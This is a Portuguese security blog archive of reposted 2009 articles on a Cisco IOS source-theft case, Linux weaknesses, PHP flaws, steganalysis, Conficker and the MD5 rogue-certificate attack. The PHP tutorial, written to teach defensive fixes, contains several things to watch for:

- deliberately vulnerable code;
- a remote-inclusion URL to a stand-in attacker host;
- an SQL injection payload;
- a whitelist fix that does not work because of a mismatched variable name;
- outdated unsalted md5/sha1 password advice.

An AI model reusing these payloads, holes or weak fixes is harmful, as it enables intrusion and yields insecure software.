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    May 11

    Sueco é acusado de roubar código-fonte de roteadores da Cisco

    Um sueco foi indiciado na terça-feira por ter participado no roubo do código-fonte do IOS (Internetwork Operating System), sistema operacional usado nos roteadores da Cisco, responsáveis por boa parte da infra-estrutura de internet atual.

    Philip Gabriel Pettersson, 21, foi indiciado uma vez por invasão e duas vezes por apropriação indevida de segredos comerciais. Ele ainda foi indiciado em dois casos de invasão a servidores da Nasa, a agência espacial norte-americana.

    Segundo a Divisão de Crimes do Departamento de Justiça dos EUA e Joseph Russoniello, promotor do Distrito da Califórnia, Petterson só pôde ser indiciado depois de uma extensa investigação do FBI, agência de investigação norte-americana.

    Petterson foi identificado como “Stakkato”, hacker que teria invadido os servidores da Cisco entre 12 e 13 de maio de 2004. Outras invasões a grandes sites foram realizadas por Stakkato na mesma época.

    No total, Petterson soma cinco indiciamentos e cada um deles pode render até 10 anos de prisão, mais multa de 250 mil dólares. Se o cracker for condenado em instância máxima em todos os casos, ele pode ser sentenciado a 50 anos de prisão e multa de 1,25 milhão de dólares.

    O sistema IOS é o coração dos roteadores e switchers da Cisco, além de outros produtos da empresa. Em maio de 2004, partes do código-fonte do sistema operacional foram roubados e publicados em um site russo.

    Na ocasião, especialistas em segurança disseram que isso poderia ser prejudicial à internet, já que crackers poderiam usar as informações para atacar os equipamentos que sustentam a rede mundial de computadores.

    Fonte: http://idgnow.uol.com.br/seguranca/2009/05/06/sueco-e-acusado-de-roubar-codigo-fonte-de-roteadores-da-cisco/

    May 05

    O Linux é seguro?

    Para os adeptos de plantão, este artigo não é para gerar polêmica, mas para servir de ALERTA. Muito falamos a respeito da segurança do sistema operacional Linux, mas bem sabemos que ele também tem suas vulnerabilidades. Quais? As da Microsoft parece que todo usuário Linux sabe de cor, mas e as vulnerabilidades do próprio sistema operacional Linux?

    Pois é, aqui vai o alerta. Um dia escutei a frase: "o sistema operacional mais seguro é aquele que você mais domina" e tive que concordar plenamente. Pesquisando, então, sobre as vulnerabilidades do Linux, esperando encontrar pouca coisa, achei muita gente relatando seus problemas. Até que encontrei no site da SANS uma pesquisa realizada pela própria SANS junto ao FBI, e pude esclarecer essa minha dúvida. A pesquisa aborda as 20 maiores vulnerabilidades encontradas, sendo dez para servidores Windows e dez para servidores Unix.

    As brechas do Linux

    Abaixo estão listadas as dez maiores vulnerabilidades do Sistema Operacional Linux/Unix, traduzidas em outubro de 2003 e ainda hoje presentes:

    1. BIND – O BIND é o principal serviço de ataque dos crackers. A maioria dos bugs já foram resolvidos, mas a maioria das pessoas mantém as versões mais antigas por uma questão de funcionalidade e também por não disporem de tempo para a migração.
    2. RPC – O RPC é um serviço para receber chamadas de procedimentos que serão executados remotamente. É extremamente importante para a funcionalidade da rede interna, pois é utilizado para distribuição de carga, processamento distribuído, cliente/servidor etc. O NFS, que é um dos sistemas de arquivos de rede mais conhecidos e utilizados, usa diretamente o RPC.
    3. Apache – Sem dúvida é um servidor web bem mais robusto que o IIS da Microsoft, mas não deixa de estar exposto à Internet. Vários ataques a sistemas operacionais *NIX ocorrem pelo Apache, principalmente para servidores com execução de scripts e permissões de acesso a programas.
    4. Contas de usuários – Esta vulnerabilidade ocorre principalmente em contas com senhas fracas ou nulas. Parece ridículo, mas existem pessoas que conseguem invadir sistemas descobrindo senhas pelo método da tentativa e erro e, geralmente, as senhas são as mais óbvias possíveis. Nesses casos, não é o sistema que é violado, mas a conta do usuário. Uma vez tendo acesso ao sistema, o invasor pode se tornar bastante incômodo.
    5. Serviço de transferência em ASCII – FTP e email são os programas diretamente relacionados a esses serviços. Todo o conteúdo que passa por eles sob a forma de texto puro – isto é, não criptografado, o que ocorre na maioria das instalações – pode ser capturado. Basta alguma informação ou uma senha secreta para que a porta seja aberta.
    6. Sendmail – É, talvez, o pior serviço de email do *NIX, em comparação com seus próprios concorrentes. Tende a ser lento e problemático. Mas é o mais utilizado, porque é extremamente flexível. É possível implantá-lo rapidamente, por isso é a maior fonte de furos existente na comunidade. Se puder, substitua-o.
    7. SNMP – Uma excelente ferramenta administrativa, principalmente para grandes empresas. Contudo, por ser um projeto baseado na comunicação com a rede, está sujeito a vulnerabilidades. O serviço é ativado por padrão nos sistemas Linux, o que causa o esquecimento por parte dos usuários.
    8. SSH – É a solução ideal para acesso remoto seguro, abolindo de vez o venerável Telnet. No entanto, pode tornar-se totalmente ineficaz se não for administrado corretamente. Escolha o nível de segurança mais desejado, lembrando que ele é diretamente proporcional ao trabalho para configurá-lo. E não se esqueça de proteger as chaves privadas dos usuários!
    9. Compartilhamento de arquivos – Ocorre principalmente com NIS/NFS e Samba mal configurados. Pode comprometer a segurança, abrindo brechas para ataques externos.
    10. SSL – Embora seja extremamente eficaz para criar conexões seguras entre cliente/servidor, o SSL permite o acesso ao servidor por parte do cliente. Pode se tornar uma porta para o acesso de intrusos.

    Depois dessa lavada de vulnerabilidades, vale deixar alguns comentários. A vulnerabilidade não está necessariamente relacionada ao uso desses serviços, mas está muito relacionada a sua má configuração.

    Não confie demais na sua segurança. A desconfiança é o melhor aliado de um bom administrador.

    Como diminuir a vulnerabilidade

    Um sistema bem administrado diminui enormemente a probabilidade de invasão. Segundo as vulnerabilidades aqui discutidas, vamos a algumas dicas de segurança:

    1. BIND – Procure adotar uma política de mascaramento das informações.
    2. RPC – Use o serviço somente se necessário.
    3. Apache – Ajuste bem as configurações. Habilite somente scripts e programas com destino correto e que não comprometam de forma alguma o sistema.
    4. Contas de usuários – Evite criar contas de usuários em demasia, principalmente contas para acesso multiusuário. Adote uma política de senhas seguras e jamais permita o acesso a serviços e contas de usuários sem senha.
    5. Serviços ASCII – Toda comunicação pode e deve ser feita de forma criptografada. Arquivos ASCII são muito vulneráveis e todos podem ter acesso ao seu conteúdo facilmente.
    6. Sendmail – Atualize e configure corretamente. De preferência, gaste um pouco de tempo e implemente outro servidor.
    7. SNMP – Não se esqueça de estabelecer as regras de utilização do serviço. Não use se não for necessário.
    8. SSH – Muitíssimo bom, mas configure-o da forma mais restrita possível. Restrinja o acesso somente a usuários do sistema. Se possível, restrinja o acesso ao servidor X. Controle o acesso às chaves privadas. Bloqueie senhas em branco, pois elas se tornam uma arma na mão dos invasores.
    9. Compartilhamento de rede – Compartilhe somente o que for necessário e restrinja ao máximo o acesso dos usuários ao compartilhamento. De preferência, use alguma ferramenta de autenticação.
    10. SSL restritiva é a melhor opção quando não puder ficar sem ela.

    Dicas gerais de segurança

    • Execute somente os serviços necessários para a operação da sua rede. Serviços que não são muito utilizados caem no esquecimento do administrador.
    • Verifique se os serviços estão rodando com privilégios de root. Essas permissões geralmente causam os maiores furos na segurança. Se não for necessário, desabilite essa opção.
    • Verifique se os serviços estão configurados adequadamente à sua rede. Tutoriais e How-To’s geralmente indicam o caminho de como configurar, mas na sua maioria não são muito específicos.
    • Estabeleça uma política de segurança para a sua rede, como serviços de compartilhamento disponíveis, política de senhas etc.
    • Firewall. Estabeleça um filtro de tudo que entra na sua rede. De preferência feche todas as portas que não são necessárias para o funcionamento do servidor.
    • Evite serviços de comunicação p2p, como servidores de músicas, vídeos e até chats e mensagens.
    • Como última dica: monitore. Diz o ditado que “o boi só engorda aos olhos do seu dono”. Se você cuida da sua rede, dificilmente terá problemas de vulnerabilidade.

    Fonte: http://www.linuxmagazine.com.br/materia/o_linux_e_seguro

    April 09

    Principais falhas de segurança no PHP

    Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.

    Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!

    Cuidados com a URL - Parte I

    Uma falha muito comum são aqueles sites que, tentando usar um sistema "legal", acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

    <?php
    // Verifica se a variável $_GET['pagina'] existe
    if (isset($_GET['pagina'])) {
    $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
    } else {
    $arquivo = 'home.php'; // Se não existir variável, define um valor padrão
    }
    include ($arquivo); // Inclui o arquivo
    ?>

    E na URL do site ficaria:

    http://www.meusite.com.br/?pagina=contato.php

    Com isso o "invasor" pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

    http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

    O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.

    Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

    <?php
    // Define uma lista com os arquivos que poderão ser chamados na URL
    $perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');

    // Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
    if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) {
    $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
    } else {
    $arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
    }
    include ($arquivo); // Inclui o arquivo
    ?>


    Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

    Cuidados com a URL - Parte II

    Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

    Geralmente o formato é o seguinte:

    http://www.meusite.com.br/produtos.php?id=12
    ou
    http://www.meusite.com.br/?pagina=produtos.php&id=12

    Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

    <?php
    // Formato da URL:
    //  http://www.meusite.com.br/produtos.php?id=12

    // Salva o parâmetro da URL numa variável
    $produto = $_GET['id'];

    // Monta a consulta MySQL
    $sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";

    // Executa a query
    $query = mysql_query($sql);

    // Salva o resultado (em formato de array) em uma variável
    $resultado = mysql_fetch_assoc($query);

    ?>


    A sua consulta ao MySQL ficaria da seguinte forma:

    SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1

    Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:

    http://www.meusite.com.br/produtos.php?id=' OR 1=1 OR "='

    Agora a sua query MySQL fica assim:

    SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1

    Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.

    Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

    // Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro
    $produto = (int)$_GET['id'];

    Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET['id']. Problema resolvido, meus caros!  Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.

    Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.

    Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:

    $parametro = mysql_real_escape_string($_GET['nome']);

    Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

    Sobre Usuários e Senhas

    Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.

    Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada. Fonte: http://imasters.uol.com.br/artigo/12318/php/principais_falhas_de_seguranca_no_php

    March 23

    Segurança: testes manuais X testes automatizados

    Pesquisas indicam que o grande número de ataques ocorre através de vulnerabilidades apresentadas em aplicações web e que a grande porcentagem desses ataques é realizada via protocolo http/S ou portas que estão freqüentemente expostas às comunidades web. Com esses fatos, é essencial que as corporações estejam em alerta para proteger suas aplicações web.

    Como os aplicativos web tornam-se cada vez mais complexos, enormes quantidades de dados sigilosos, incluindo informações pessoais e financeiras são trocadas e armazenadas. E os consumidores esperam que estas informações sejam mantidas de maneira segura e sigilosa.

    Existem dois métodos para descobrir vulnerabilidades em um aplicativo web: por meio de ensaio e invasão manual ou usando ferramentas automatizadas de varredura e análise estática.

    A técnica de testes de segurança de invasão manual é um dos mais antigos métodos utilizados para descobrir vulnerabilidades em aplicações. Á medida em que a frequência dos ataques tem crescido e a complexidade das aplicações aumentado surgem cada vez mais especialistas em testes de invasão, ou "pen". O único objetivo destes profissionais consiste em encontrar e explorar problemas de segurança em aplicações web.

    No final dos anos 1990, as empresas começaram a desenvolver técnicas para automatizar estes testes. Nessa época, a web tinha se tornado mais madura e navegadores estavam começando a ser capazes de lidar com as complexidades necessárias para a dinâmica das aplicações. O objetivo destas ferramentas foi antecipado para automatizar o processo de realização de varredura no aplicativo, injetar falhas e descobrir vulnerabilidades.

    As ferramentas automatizadas são capazes de cruzar informações, analisá-las e testar as aplicações de uma maneira mais eficiente do que o teste de invasão manual. Estas ferramentas têm amadurecido e a maioria das vulnerabilidades existentes hoje já está endereçada e é bem resolvida. Além disso, como os aplicativos web continuam a crescer em tamanho, o teste manual está ficando cada vez mais difícil. Em muitas organizações ele se torna praticamente impossível de ser aplicado, pois seria necessária a dedicação de muito tempo, esforço físico e dinheiro.

    Embora as ferramentas automatizadas e testadores qualificados possam navegar em uma aplicação web, somente o testador é capaz de compreender a lógica por trás do fluxo de trabalho da aplicação. Este entendimento permite ao teste manual subverter a lógica do negócio. Por exemplo, um aplicativo pode direcionar o usuário a partir do ponto A ao ponto B e ao ponto C, onde o ponto B é uma validação de segurança. A revisão manual do aplicativo pode mostrar que é possível ir diretamente a partir do ponto A ao ponto C, ignorando totalmente a validação de segurança.

    Tanto os testes manuais quanto os automatizados são métodos exaustivos de identificação de vulnerabilidades em aplicações web. Cada método tem suas forças e fraquezas inerentes e ambos podem ser usados para descobrir vulnerabilidades críticas de segurança.

    As ferramentas automatizadas nunca devem substituir completamente os testes manuais. No entanto, se usadas corretamente, estas ferramentas podem ser usadas para encontrar uma ampla gama de técnicas de vulnerabilidades, economizando tempo e dinheiro. Sofisticadas organizações utilizam a combinação correta de ferramentas automatizadas e ensaios de invasão manual para proporcionar uma melhor segurança do aplicativo web.

    Fonte: http://www.decisionreport.com.br/publique/cgi/cgilua.exe/sys/start.htm?infoid=4141&sid=15

    March 16

    Steganalise e Investigação Forense

    Como o uso de esteganografia torna-se mais prevalente no mundo do crime, tanto nos crimes tradicionais quanto nos novos e crescentes no mundo do cybercrime, a inspeção de arquivos digitais para descobrir ou detectar esteganografia assume uma importância acrescida. A emergente disciplina de esteganografia ou esteganalise necessita de uma formação de um subconjunto de especialistas em forense digital, que deve ser praticada de mão dada com outras atividades de investigação.

    Pósmortem - Estratégias de Investigação
    A investigação sobre a eventual utilização de esteganografia pode ser um processo complexo e demorado. Examinar as evidências de uma disco rígido que contém 10.000 imagens, 2.500 arquivos de áudio e  500 vídeoclipes poderia facilmente levar semanas. Se vários computadores, backup ou mídia de Internet, seria necessária uma análise do processo, podendo, naturalmente, tomar muito mais tempo. No entanto, a aplicação de um processo similar, mostrado abaixo, e utilizando tecnologias sofisticadas, pode reduzir significativamente o processo.

    Determinando Suspeita - Por que você suspeita do uso de esteganografia?
    Algumas questões questões você pode considerar:
    a. Será que o suspeito tem computador?
    b. Será que o tipo de crime está correto, como um mandado incriminatórios escondendo informações (criança, pornografia infantil, tráfico de droga, terrorismo)?
    c. A quantidade de evidências digitais encontradas é pequena, mas há um grande número de imagens ou arquivos de áudio sobre o suspeito do disco rígido? Existem imagens duplicadas ou compactadas que tem diferentes números de hash?

    Identificar Conhecidos Programas de Stego - Uma vez que você levanta suspeitas de que o suspeito pode ter empregado esteganografia, será necessário uma pesquisa no disco rígido para programas de esteganografia. Existem várias métodos para fazer isto. Na versão mais recente do National Software Reference Library (NSRL), Versão 2.1 do Instituto Nacional de Padrões e Tecnologia (NIST), e do Instituto Nacional de Justiça (NIJ) existe um conjunto hash que foi extraído do CD StegoArchive . Realizar uma pesquisa usando o NSRL, dados com a orientação do Software EnCase ou WetStone's Gargoyle pode fornecer pistas importantes.


     
    A indicação do número de hash da aplicação utilizada, auxilia no refinamento da gama de aplicações e na indicação de qual aplicação foi utilizada. Ao identificar as ferramenta de esteganografia especifica dois distintos benefícios podem ser obtidos.

    Primeiro, podem ser obtidos os tipos de arquivos que são transportados no programas de esteganografia especificados. Por exemplo, se o único programa de esteganografia é encontrado, GIFITUP, então você pode concentrar sua pesquisa em arquivos GIF.

    A segunda vantagem proporcionada por este método é a possibilidade de utilizar o programa para aumentar a tentativa de extrair os dados ocultos, desde que você possa obter a senha utilizada pelo suspeito.

    Identificar Arquivos Suspeitos - Depois de ter sido determinado quais programas de esteganografia  foram utilizados pelo suspeito, a identificação do suspeito e os arquivos transportados (Arquivos trsnportados: texto, imagens digitais, pastas de  áudio ou vídeo que possa dar cobertura a mensagens ocultas ou informação) irá ajudar a reduzir o
    pesquisa. 


     
    O Gargoyle identifica os tipos de arquivo suspeitos para você.

    Identificar Caminhos Suspeitos - Depois de ter estreitado a pesquisa a tipos de arquivo conhecidos é possível realizar a análise de arquivos suspeitos. Assumindo que os arquivos suspeitos são imagens, então estão disponíveis diversas ferramentas para a detecção de esteganografia. 

    O método mais simples é a visualização de imagens ou arquivos de áudio para examinar características incomuns ou suspeitas. A base fundamental do conceito está em esconder informações dentro de outros arquivos, estas informações apresentam-se "normais", pois a visualização da imagem não é distorcida pela adição da carga, ou material escondido. A vsualização normal da imagem para a maioria de nós é a projeção do vermelho-verde-azul (RGB) valores em um monitor de computador. 

    Portanto há a necessidade de manter a imagem em RGB para visualizar os dados constantes. No entanto, em fazê-lo, existem sutis mudanças que podem ser vistas por outras aplicações formas de visualização da imagem, como o Matiz ou Saturação. 

    Usando um Stego Image Viewer, pode-se visualizar a forma normal e a de saturação mostrada à esquerda na figura seguinte.  Novamente na página seguinte, no exemplo em o direito, nós começamos com uma inserir um arquivo JPEG de 111K, e usei o programa de esteganografia JSTEG inserindo 5K um byte do arquivo. Neste exemplo, mostro o contraste da representação da imagem normal versus a da visualização da Matiz.


     
    Detectando Steganografia (Esteganalise) Estas técnicas têm sido desenvolvidas por uma variedade maior de pesquisadores, incluindo nomeadamente como J. Fridrich, N. Johnson, P. Peticolas, RJ Anderson, e outros. 

    Aplicando estes enfoques teóricos tem provado, na melhor das hipóteses a ser difícil. A maioria dos métodos proporciona uma razoável identificação de suspeita das imagens, porém sofre de alta taxa de falsos positivos. Isto é especialmente verdadeiro quando aplicado a uma grande variedade de imagens (o tamanho das flutuações das imagens, densidade colorida das imagens, imagens muito pequenas ou muito grandes , imagens que foram convertidas entre formatos, etc) .

    A dificuldade pode ser atribuída à grande variedade de imagens, áudios e arquivos de vídeo que existem juntamente com uma ampla variedade de fontes para esses arquivos. Por exemplo, mais de 20 (viáveis) diferentes de fabricantes de câmeras digitais hoje existem cada oferecendo dezenas de modelos. Cada modelo cria ligeiramente diferentes formatos de imagem, utilizando diferentes algoritmos de compressão, inclusive algumas agora com marca dágua digital.

    A capacidade de construir um modelo estatístico com uma combinação de alta precisão e baixa detecção falsos resultados positivos é complicado e problemático. Se você adicionar a isto a consideração de manipulação destas imagens com programas de processamento de imagem, aplicações de edição, programas de conversão e compressão são os atributos de dificuldade de modelagem "normalmente em imagens digitais" aumentando a um ritmo exorbitante. 

    O Laboratório de Pesquisas da Força Aérea dos EUA desenvolveu juntamente com a Wetstone o  Stego Watch, que foi concebido e desenvolvido não só como uma produto comercial, que se beneficia da aplicação da agências delei, mas como um quadro utilizáveis pelos comunidade s científicas para testar os mais promissores algoritmos de Stego detecção e mover rapidamente a partir do laboratório para as linhas de frente.

    Neste sentido, as aplicações de Stego está em fornecer uma plataforma para novos algoritmos e abordagens para ser rapidamente implantadas para a detecção e identificação de esteganografia, tanto no postmortem quanto investigações online. Stego Watch expõe um API para os investigadores e programadores que permite que novas pesquisas e detectores de esteganografia.

    Desta forma, os pesquisadores e desenvolvedores independentes possam acrescentar novos algoritmos e comparar e correlacionar seus  resultados. Veja no site www.wetstonetech.com como você poderia auxiliar o desenvolvimento de algoritmos para a busca de esteganografia.

    Fonte: http://imasters.uol.com.br/artigo/11971/forense/steganalise_e_investigacao_forense/


    Conficker: O que muda depois do super-vírus

    O mundo foi afetado de maneira e dimensão poucas vezes vista em outras infecções por vírus de computador. Empresas pararam, ou ainda estão parando, por dias e acho que não será fácil reestabelecer os serviços de TI plenamente tão cedo. Tudo por causa do vírus Downad, também conhecido como Conficker e Kido. Pela sua versatilidade, métodos de infecção variados e dificuldade de remoção, tem sido um pesadelo para as corporações.

    Elencamos diversas providências que devem ser tomadas para reduzir ou mesmo evitar que sua rede seja invadida por este tipo de infecção, que será muito mais comum daqui em diante:

    - Atualizações de segurança devem ser feitas regularmente e de maneira efetiva. Não adianta fazer só quando se instala o computador ou ser deixada a cargo do usuário. Deve ser feita de maneira automática e acompanhada de perto por um responsável atentamente. A Microsoft possui inclusive um produto gratuito chamado WSUS que funciona muito bem. Não se esqueça de nenhuma máquina.

    - Usuários não devem ser administradores de seus computadores. Como dizia o tio do Homem-Aranha: "Grandes poderes trazem grandes responsabilidades". Se o usuário for administrador, pode comprometer a segurança de seu computador se não souber o que está fazendo. Isso inclui destruir partes importantes do sistema e instalar componentes maliciosos no sistema operacional.

    - O usuário não deve conhecer a senha de administrador local do computador. Pelos mesmos motivos do item anterior.

    - Devem ser definidas senhas de administrador diferentes para cada computador da rede. Senhas comuns facilitam a proliferação de vírus. NUNCA DEIXE A SENHA DE ADMINISTRADOR EM BRANCO!

    - O acesso à internet não dever ser fornecido aos usuários de maneira indiscriminada. Além de abrir mais portas para conteúdos maliciosos, se um usuário está acessando a rede provavelmente não está trabalhando. Devem ser liberados apenas sites inofensivos como sites de notícia, bancos e sites de utilidade pública. Acessos à internet devem ser bem justificados para evitar que usuários desavisados comprometam a segurança da rede.

    -Invista em bons antivírus. Em corporações com mais de 50 computadores, não adianta usar a versão grátis do AVG ou Avast. Você precisará saber se o antivírus está atualizando, se não foi desabilitado pelo usuário (parece estúpido, mas tem alguns usuários que fazem este tipo de coisa!) e iniciar um scan em todos os computadores. Os melhores antivírus do mercado possuem também firewall e IDS que ajudam a farejar a rede por possíveis ameaças.

    - Redes planas são uma ameaça à segurança de seu ambiente. Redes em que todos acessam todos multiplicam enormemente a probabilidade de uma ameaça se espalhar muito rapidamente. Quanto maior a rede, maior o risco. O melhor é segregar a rede em pedaços muito pequenos. Se possível, cada desktop deve acessar somente os servidores da sua rede. Compartilhamento de arquivos e impressoras entre micros deve ser banido. Pode ser usado o firewall do antivírus para bloquear o acesso a partes não autorizadas da rede, mas se você conseguir bloquear fisicamente, por hardware, melhor.

    - Padronize seu hardware e software. Ter todos os sistemas operacionais desde Windows 95 até Windows Vista, em todo o tipo de computador desde Pentium II até Core 2 Duo, só complica a administração e consequentemente a segurança do ambiente.

    - Invista em pessoal. Uma equipe de infra-estrutura sobrecarregada e mal-treinada não vai conseguir dar conta de proteger sua rede. Invista em treinamento, tenha uma equipe do tamanho adequado para a sua corporação e acompanhe de perto as ações de prevenção necessárias.

    - Tenha um plano de contingência. De preferência testado ;-). Em caso de problemas, saiba quais são as áreas que precisarão ter os serviços reestabelecidos mais rapidamente e quais as ações que deverão ser tomadas para isso acontecer. A falta dele implica em demora ainda maior para a normalização do ambiente.

    - Instale Linux no lugar de Windows. Se sua corporação não usa softwares que só rodam em Windows esta é, sim, uma opção a ser considerada. Uma migração para Linux, desde que bem feita, pode reduzir muito as ameaças de segurança à sua empresa e de cabo pode economizar muito com licenças de software. Porém você provavelmente precisará investir mais em treinamento de pessoal.

    Lembre-se de que redundância de proteção é melhor para a segurança do seu ambiente.

    Fonte: http://imasters.uol.com.br/artigo/11805/seguranca/conficker_o_que_muda_depois_do_super-virus/

    January 05

    Falha permite criação de phishing 'perfeito' com certificado digital falso

    São Francisco - Vulnerabilidade permite que criminosos criem certificados falsos que são vistos como verdadeiros pela maioria dos navegadores.

    Um time de pesquisadores revelou uma falha crítica na infra-estrutura de certificação digital da internet.

    A falha atinge os domínios https, considerados mais seguros por serem criptografados e exigirem certificados digitais. Ao visitar esses portais, o navegador adiciona um símbolo de segurança ao verificar que o site possui um certificado digital concedido pelas autoridades certificadoras.

    O navegador consegue garantir que o certificado digital do site é legítimo ao analisá-lo com algoritmos de criptografia.

    O que os pesquisadores descobriram é que um desses algoritmos, o MD5, pode ser enganado por criminosos digitais. Isso significa que o navegador pode falar que o site é legítimo quando ele se trata de uma cópia. O time conseguiu, também, criar uma autoridade certificadora falsa. Assim, a AC daria certificados digitais que seriam aceitos como verdadeiros pela maioria dos navegadores.

    Ao usar a AC falsa, aproveitando da falha do algoritmo MD5, os crackers podem usar a conhecida falha do DNS (sistema de nome de domínios da internet) para criar ataques de phishing impossíveis de identificar.

    Se um usuário acessa o site do banco ao qual é correntista, por exemplo, ele pode ser redirecionado para um portal clonado que aparenta ser idêntico ao original. Além disso, o navegador receberia um certificado digital – falso – que atestaria que o site é legítimo. Os dados críticos dos usuários seriam enviados diretamente para as mãos dos criminosos.

    Por conta da descoberta, os pesquisadores defendem que o MD5 não pode mais ser considerado um algoritmo de criptografia seguro para uso em assinatura e certificados digitais.

    Os resultados foram apresentados no congresso de segurança 25C3 realizado no dia 30 de dezembro em Berlim, Alemanha. O time de pesquisadores contou com profissionais independentes da Califórnia, Estados Unidos, além de especialistas do centro Wiskunde e Informatica (CWI) e na Universidade de tecnologia de Eindhoven, ambos na Holanda, e do EPFL, na Suíça.

    Fonte: http://idgnow.uol.com.br/seguranca/2009/01/02/falha-permite-criar-phishing-perfeito-com-certificado-digital-falso/
    Robert McMillan, editor do IDG News Service, de São Francisco

    Pesquisadores quebram segurança de site confiável

    A pequena imagem de um cadeado no canto dos navegadores não pode mais indicar certamente que uma conexão é segura. É o que mostrou uma nova pesquisa divulgada nesta terça-feira (30) no congresso de tecnologia 25C3, em Berlim.

    Com testes, um time de pesquisadores do Centrum Wiskunde & Informatica (CWI), da Califórnia, e da Eindhoven University of Technology, da Holanda, conseguiu quebrar a segurança de um site confiável usando uma rede conectada de 200 consoles do videogame PlayStation 3.

    Com o equipamento, eles demonstraram que é possível enganar o navegador caso o site use um antigo algoritmo de criptografia, chamado MD5. Ele é usado para embaralhar o conteúdo de uma mensagem --como uma senha, por exemplo-- antes de enviá-la, para que somente o destinatário possa lê-la.

    Quando um usuário visita um site cujo endereço começa com "https", geralmente vê um cadeado fechado no canto do navegador, que indica que o site emprega um certificado digital lançado por uma autoridade confiável que opera na rede. O navegador verifica o certificado, usando algum algoritmo, incluindo, em alguns sites, o MD5.

    Foi em um site usando este algoritmo que os pesquisadores conseguiram driblar a segurança. O procedimento, no entanto, durou três dias para ser completado, até que pudessem identificar o conteúdo da mensagem enviada em teste.

    Se fosse usado apenas um computador normal, a tática usada poderia demorar cerca de 30 anos para alcançar o mesmo resultado, gerando dois falsos certificados.

    Para muitos especialistas, mesmo que a quebra realizada pelos pesquisadores seja bastante difícil de conseguir, os resultados do teste --mostrados no congresso da 25C3 em Berlim-- podem contribuir para que as conexões fiquem mais seguras.

    Grandes empresas que desenvolvem navegadores, como a Microsoft e a Mozilla, por exemplo, já foram informadas da vulnerabilidade dos sistemas de criptografia que usam o MD5. Com isso, elas podem adaptar seus programas para indicar sites que usam o algoritmo vulnerável.

    Um dos objetivos da pesquisa foi justamente alertar as autoridades que expedem os certificados para que não usem mais o sistema antigo e migrem para outros algoritmos alternativos e mais modernos, como o SHA-2.

    Fonte: http://www1.folha.uol.com.br/folha/informatica/ult124u484949.shtml

    August 07

    Estudo aponta as 10 principais vulnerabilidades em aplicações web

